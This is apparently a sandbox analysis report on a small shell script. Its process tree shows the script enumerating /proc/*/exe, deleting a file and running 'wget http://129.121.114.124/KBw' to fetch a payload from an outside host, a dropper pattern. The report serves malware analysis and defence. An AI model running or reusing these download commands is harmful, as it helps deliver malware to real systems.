Overview

overview

3

Static

static

1

_cbd321f8a...a6d.sh

ubuntu-18.04-amd64

3

_cbd321f8a...a6d.sh

debian-9-armhf

3

_cbd321f8a...a6d.sh

debian-9-mips

3

_cbd321f8a...a6d.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/06/2026, 09:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _cbd321f8ac5eb6a67cf1506b9447c8bf02a91da29558b1197fc023d02110da6d.sh
  • Size 835B
  • Sample260620-k24cjsd15n
  • SHA256 cbd321f8ac5eb6a67cf1506b9447c8bf02a91da29558b1197fc023d02110da6d
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_cbd321f8ac5eb6a67cf1506b9447c8bf02a91da29558b1197fc023d02110da6d.sh
    /tmp/_cbd321f8ac5eb6a67cf1506b9447c8bf02a91da29558b1197fc023d02110da6d.sh
    1⤵
      PID:648
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:650
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:657
      • /bin/ls
        ls -l /proc/103/exe
        2⤵
        • Reads runtime system information
        PID:662
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:667
      • /bin/ls
        ls -l /proc/111/exe
        2⤵
        • Reads runtime system information
        PID:668
      • /bin/ls
        ls -l /proc/113/exe
        2⤵
        • Reads runtime system information
        PID:674
      • /bin/ls
        ls -l /proc/114/exe
        2⤵
        • Reads runtime system information
        PID:676
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:679
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:681
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:682
      • /bin/ls
        ls -l /proc/141/exe
        2⤵
        • Reads runtime system information
        PID:683
      • /bin/ls
        ls -l /proc/143/exe
        2⤵
        • Reads runtime system information
        PID:684
      • /bin/ls
        ls -l /proc/147/exe
        2⤵
        • Reads runtime system information
        PID:685
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:687
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:688
      • /bin/ls
        ls -l /proc/163/exe
        2⤵
        • Reads runtime system information
        PID:689
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:690
      • /bin/ls
        ls -l /proc/174/exe
        2⤵
        • Reads runtime system information
        PID:691
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:692
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:693
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:694
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:695
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:696
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:697
      • /bin/ls
        ls -l /proc/226/exe
        2⤵
        • Reads runtime system information
        PID:698
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:699
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:700
      • /bin/ls
        ls -l /proc/25/exe
        2⤵
        • Reads runtime system information
        PID:701
      • /bin/ls
        ls -l /proc/26/exe
        2⤵
        • Reads runtime system information
        PID:702
      • /bin/ls
        ls -l /proc/27/exe
        2⤵
        • Reads runtime system information
        PID:703
      • /bin/ls
        ls -l /proc/28/exe
        2⤵
        • Reads runtime system information
        PID:704
      • /bin/ls
        ls -l /proc/284/exe
        2⤵
        • Reads runtime system information
        PID:705
      • /bin/ls
        ls -l /proc/286/exe
        2⤵
          PID:706
        • /bin/ls
          ls -l /proc/288/exe
          2⤵
          • Reads runtime system information
          PID:707
        • /bin/ls
          ls -l /proc/29/exe
          2⤵
          • Reads runtime system information
          PID:708
        • /bin/ls
          ls -l /proc/295/exe
          2⤵
          • Reads runtime system information
          PID:709
        • /bin/ls
          ls -l /proc/3/exe
          2⤵
          • Reads runtime system information
          PID:710
        • /bin/ls
          ls -l /proc/308/exe
          2⤵
          • Reads runtime system information
          PID:711
        • /bin/ls
          ls -l /proc/315/exe
          2⤵
          • Reads runtime system information
          PID:712
        • /bin/ls
          ls -l /proc/317/exe
          2⤵
          • Reads runtime system information
          PID:713
        • /bin/ls
          ls -l /proc/319/exe
          2⤵
            PID:714
          • /bin/ls
            ls -l /proc/324/exe
            2⤵
            • Reads runtime system information
            PID:715
          • /bin/ls
            ls -l /proc/331/exe
            2⤵
            • Reads runtime system information
            PID:716
          • /bin/ls
            ls -l /proc/4/exe
            2⤵
            • Reads runtime system information
            PID:717
          • /bin/ls
            ls -l /proc/41/exe
            2⤵
            • Reads runtime system information
            PID:718
          • /bin/ls
            ls -l /proc/42/exe
            2⤵
            • Reads runtime system information
            PID:719
          • /bin/ls
            ls -l /proc/43/exe
            2⤵
            • Reads runtime system information
            PID:720
          • /bin/ls
            ls -l /proc/5/exe
            2⤵
            • Reads runtime system information
            PID:721
          • /bin/ls
            ls -l /proc/571/exe
            2⤵
            • Reads runtime system information
            PID:722
          • /bin/ls
            ls -l /proc/584/exe
            2⤵
            • Reads runtime system information
            PID:723
          • /bin/ls
            ls -l /proc/586/exe
            2⤵
            • Reads runtime system information
            PID:724
          • /bin/ls
            ls -l /proc/593/exe
            2⤵
            • Reads runtime system information
            PID:727
          • /bin/ls
            ls -l /proc/594/exe
            2⤵
            • Reads runtime system information
            PID:729
          • /bin/ls
            ls -l /proc/6/exe
            2⤵
            • Reads runtime system information
            PID:731
          • /bin/ls
            ls -l /proc/636/exe
            2⤵
            • Reads runtime system information
            PID:734
          • /bin/ls
            ls -l /proc/637/exe
            2⤵
            • Reads runtime system information
            PID:735
          • /bin/ls
            ls -l /proc/642/exe
            2⤵
            • Reads runtime system information
            PID:738
          • /bin/ls
            ls -l /proc/644/exe
            2⤵
            • Reads runtime system information
            PID:740
          • /bin/ls
            ls -l /proc/645/exe
            2⤵
            • Reads runtime system information
            PID:742
          • /bin/ls
            ls -l /proc/647/exe
            2⤵
            • Reads runtime system information
            PID:744
          • /bin/ls
            ls -l /proc/648/exe
            2⤵
            • Reads runtime system information
            PID:746
          • /bin/ls
            ls -l /proc/649/exe
            2⤵
            • Reads runtime system information
            PID:749
          • /bin/ls
            ls -l /proc/7/exe
            2⤵
            • Reads runtime system information
            PID:750
          • /bin/ls
            ls -l /proc/8/exe
            2⤵
            • Reads runtime system information
            PID:753
          • /bin/ls
            ls -l /proc/81/exe
            2⤵
            • Reads runtime system information
            PID:755
          • /bin/ls
            ls -l /proc/9/exe
            2⤵
            • Reads runtime system information
            PID:757
          • /bin/rm
            rm -rf KBw
            2⤵
              PID:759
            • /usr/bin/wget
              wget http://129.121.114.124/KBw
              2⤵
                PID:761

            Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads